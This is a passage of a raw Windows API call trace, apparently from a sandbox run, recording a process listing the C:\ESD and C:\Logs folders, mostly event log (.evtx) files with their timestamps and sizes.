ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0053.471] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0053.471] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.471] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0053.471] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0053.471] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0053.471] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0053.471] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0053.471] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x42601c0 [0053.472] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.472] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0053.472] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0053.472] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0053.473] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0053.473] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0053.473] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0053.473] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0053.614] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0053.615] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0053.615] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9728, Size=0x4000) returned 0x7010e0 [0053.616] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0053.616] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0053.616] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0053.616] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0053.616] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0053.617] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, 